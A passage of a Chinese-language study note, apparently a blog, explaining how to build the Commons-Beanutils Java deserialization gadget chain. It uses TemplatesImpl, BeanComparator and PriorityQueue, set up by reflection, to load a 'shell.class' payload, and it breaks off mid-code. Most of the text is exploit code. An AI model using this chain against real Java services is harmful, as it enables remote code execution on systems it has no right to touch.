BeanComparator beanComparator = new BeanComparator();
不能直接传
1
BeanComparator beanComparator = new BeanComparator("outputProperties");
否则会在add的时候提前进入,这里要在后面用反射修改
1 2 3 4
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(1); priorityQueue.add(2);
这里一定要add两个,让size为2,否则进不去
这里
1
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); //可以直接传
能够直接传的原因也很简单
由于add1和2,所以看下图
o1是o2是1,这样是无法直接进行调用的然后继续分析
beanComparator(反射修改)
1 2 3 4
Class aClass1 = beanComparator.getClass(); Field property = aClass1.getDeclaredField("property"); property.setAccessible(true); property.set(beanComparator,"outputProperties");
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class")); byte[][] b1 = {b};
Class aClass = templates.getClass(); Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, b1);
Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa");
Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
// templates.getOutputProperties();
// PropertyUtils propertyUtils = new PropertyUtils(); // propertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator();
// beanComparator.compare(templates,templates);
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(1); priorityQueue.add(2);
Class aClass1 = beanComparator.getClass(); Field property = aClass1.getDeclaredField("property"); property.setAccessible(true); property.set(beanComparator,"outputProperties");
Class aClass2 = priorityQueue.getClass(); // Field priority = aClass2.getDeclaredField("comparator"); // priority.setAccessible(true); // priority.set(priorityQueue,beanComparator);
Field queueField = aClass2.getDeclaredField("queue"); queueField.setAccessible(true); Object[] queueArray = (Object[]) queueField.get(priorityQueue);